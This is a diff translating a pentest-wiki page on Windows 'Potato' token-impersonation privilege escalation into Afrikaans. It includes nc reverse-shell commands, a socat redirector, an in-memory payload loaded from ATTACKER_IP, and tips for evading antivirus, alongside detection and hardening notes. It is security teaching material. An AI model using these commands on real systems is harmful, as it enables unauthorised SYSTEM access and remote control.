-> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to leverage the same privileges and gain `NT AUTHORITY\SYSTEM` level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
+> **JuicyPotato doesn't work** op Windows Server 2019 en Windows 10 build 1809 en later nie. egter, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** kan gebruik word om dieselfde voorregte te benut en `NT AUTHORITY\SYSTEM` vlak toegang te verkry. Hierdie [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) gaan uitgebreid in op die `PrintSpoofer` tool, wat gebruik kan word om impersonasie-privileges op Windows 10 en Server 2019 gasheerrekenaars te misbruik waar JuicyPotato nie meer werk nie.
 
 > [!TIP]
-> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
+> 'n Moderne alternatief wat gereeld in 2024–2025 onderhou word is SigmaPotato (a fork of GodPotato) wat in-memory/.NET reflection usage en uitgebreide OS-ondersteuning byvoeg. Sien vinnige gebruik hieronder en die repo in Verwysings.
 
 Related pages for background and manual techniques:
 
@@ -24,21 +24,21 @@ privilege-escalation-abusing-tokens.md
 
 ## Requirements and common gotchas
 
-All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
+Al die volgende tegnieke berus op die misbruik van 'n impersonation-capable geprivilegieerde diens vanuit 'n konteks wat een van hierdie privilegies het:
 
-- SeImpersonatePrivilege (mees algemeen) or SeAssignPrimaryTokenPrivilege
+- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
-- High integrity is not required if the token already has SeImpersonatePrivilege (typies vir baie service-accounts soos IIS AppPool, MSSQL, etc.)
+- Hoë integriteit is nie nodig nie as die token reeds SeImpersonatePrivilege het (tipies vir baie service accounts soos IIS AppPool, MSSQL, ens.)
 
-Kontroleer privileges vinnig:
+Check privileges quickly:
 ```cmd
 whoami /priv | findstr /i impersonate
 ```
-Operasionele aantekeninge:
+Operasionele notas:
 
-- PrintSpoofer benodig dat die Print Spooler-diens loop en bereikbaar is via die plaaslike RPC-endpoint (spoolss). In geharde omgewings waar Spooler na PrintNightmare gedeaktiveer is, verkies RoguePotato/GodPotato/DCOMPotato/EfsPotato.
+- PrintSpoofer benodig die Print Spooler service om te loop en bereikbaar te wees oor die plaaslike RPC-endpoint (spoolss). In geharde omgewings waar Spooler na PrintNightmare gedeaktiveer is, verkies RoguePotato/GodPotato/DCOMPotato/EfsPotato.
-- RoguePotato vereis 'n OXID-resolver wat op TCP/135 bereikbaar is. As egress geblokkeer is, gebruik 'n redirector/port-forwarder (sien voorbeeld hieronder). Ouer builds het die -f flag benodig.
+- RoguePotato vereis 'n OXID resolver wat bereikbaar is op TCP/135. As egress geblokkeer is, gebruik 'n redirector/port-forwarder (sien voorbeeld hieronder). Ouer builds het die -f vlag benodig.
 - EfsPotato/SharpEfsPotato misbruik MS-EFSR; as een pipe geblokkeer is, probeer alternatiewe pipes (lsarpc, efsrpc, samr, lsass, netlogon).
-- Error 0x6d3 tydens RpcBindingSetAuthInfo dui gewoonlik op 'n onbekende/nie-ondersteunde RPC-verifikasiediens; probeer 'n ander pipe/transport of verseker dat die teikendiens loop.
+- Fout 0x6d3 tydens RpcBindingSetAuthInfo dui gewoonlik op 'n onbekende of nie-ondersteunde RPC-authentikasiediens; probeer 'n ander pipe/transport of maak seker die teiken-diens loop.
 
 ## Vinnige Demo
 
@@ -58,7 +58,7 @@ NULL
 
 ```
 Aantekeninge:
-- Jy kan -i gebruik om 'n interaktiewe proses in die huidige konsole te begin, of -c om 'n eenreëler te hardloop.
+- Jy kan -i gebruik om 'n interaktiewe proses in die huidige console te spawn, of -c om 'n one-liner uit te voer.
 - Vereis die Spooler service. As dit gedeaktiveer is, sal dit misluk.
 
 ### RoguePotato
@@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
 # In some old versions you need to use the "-f" param
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
 ```
-As uitgaande 135 geblokkeer is, pivot die OXID resolver via socat op jou redirector:
+Indien uitgaande poort 135 geblokkeer is, pivot die OXID resolver via socat op jou redirector:
 ```bash
 # On attacker redirector (must listen on TCP/135 and forward to victim:9999)
 socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
 
 nt authority\system
 ```
-Wenk: As een pipe misluk of EDR dit blokkeer, probeer die ander ondersteunde pipes:
+Wenk: As een pipe faal of EDR dit blokkeer, probeer die ander ondersteunde pipes:
 ```text
 EfsPotato <cmd> [pipe]
 pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
 # You can achieve a reverse shell like this.
 > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
 ```
-Notes:
+Aantekeninge:
 - Werk op Windows 8/8.1–11 en Server 2012–2022 wanneer SeImpersonatePrivilege aanwesig is.
 
 ### DCOMPotato
 
 ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
 
-DCOMPotato bied twee variante wat service DCOM objects teiken wat standaard op RPC_C_IMP_LEVEL_IMPERSONATE ingestel is. Bou of gebruik die verskafde binaries en voer jou bevel uit:
+DCOMPotato bied twee variante wat mik op service DCOM objects wat standaard op RPC_C_IMP_LEVEL_IMPERSONATE ingestel is. Kompileer of gebruik die verskafde binaries en voer jou opdrag uit:
 ```cmd
 # PrinterNotify variant
 PrinterNotifyPotato.exe "cmd /c whoami"
@@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
 # McpManagementService variant (Server 2022 also)
 McpManagementPotato.exe "cmd /c whoami"
 ```
-### SigmaPotato (bygewerkte GodPotato fork)
+### SigmaPotato (opgedateerde GodPotato fork)
 
-SigmaPotato voeg moderne geriewe by soos in-memory execution via .NET reflection en 'n PowerShell reverse shell helper.
+SigmaPotato voeg moderne geriewe by, soos in-memory execution via .NET reflection en 'n PowerShell reverse shell helper.
 ```powershell
 # Load and execute from memory (no disk touch)
 [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@@ -150,11 +150,11 @@ SigmaPotato voeg moderne geriewe by soos in-memory execution via .NET reflection
 ```
 ## Opsporing en verhardingsnotas
 
-- Moniteer vir prosesse wat named pipes skep en onmiddellik token-duplication APIs aanroep, gevolg deur CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kan nuttige telemetrie verskaf: Event ID 1 (proses skepping), 17/18 (named pipe geskep/gekoppel), en command lines wat child processes as SYSTEM spawn.
+- Hou dop vir prosesse wat named pipes skep en onmiddellik token-duplication APIs aanroep, gevolg deur CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kan nuttige telemetrie lewer: Event ID 1 (process creation), 17/18 (named pipe created/connected), en command lines wat child processes as SYSTEM spawn.
-- Spooler-verharding: Deaktiveer die Print Spooler service op bedieners waar dit nie benodig word nie om PrintSpoofer-styl plaaslike afdwingings via spoolss te voorkom.
+- Spooler verharding: Deaktiveer die Print Spooler-service op bedieners waar dit nie nodig is nie om PrintSpoofer-styl plaaslike afdwingings via spoolss te voorkom.
-- Diensrekening-verharding: Minimeer toewysing van SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aan pasgemaakte dienste. Oorweeg om dienste onder virtuele rekeninge met die minste vereiste privileges te laat loop en hulle waar moontlik te isoleer met service SID en write-restricted tokens.
+- Service account verharding: Minimaliseer die toekenning van SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aan pasgemaakte dienste. Oorweeg om dienste te laat loop onder virtual accounts met slegs die minste nodige privileges en isoleer hulle met service SID en write-restricted tokens waar moontlik.
-- Netwerkbeheer: Die blokkering van uitgaande TCP/135 of die beperking van RPC endpoint mapper-verkeer kan RoguePotato breek tensy ’n interne redirector beskikbaar is.
+- Netwerkbeheer: Om outbound TCP/135 te blokkeer of RPC endpoint mapper-verkeer te beperk kan RoguePotato breek, tensy 'n interne redirector beskikbaar is.
-- EDR/AV: Al hierdie tools is wyd gesignatureer. Herkompilering vanaf bron, hernoem van symbols/strings, of gebruik van in-memory execution kan detectie verminder, maar sal soliede gedragsgebaseerde deteksie nie omseil nie.
+- EDR/AV: Al hierdie tools is wyd gesignatureer. Herkompilering vanaf bronkode, hernoem van symbols/strings, of gebruik van in-memory execution kan detectie verminder maar sal robuuste gedragsgebaseerde detecties nie omseil nie.
 
 ## Verwysings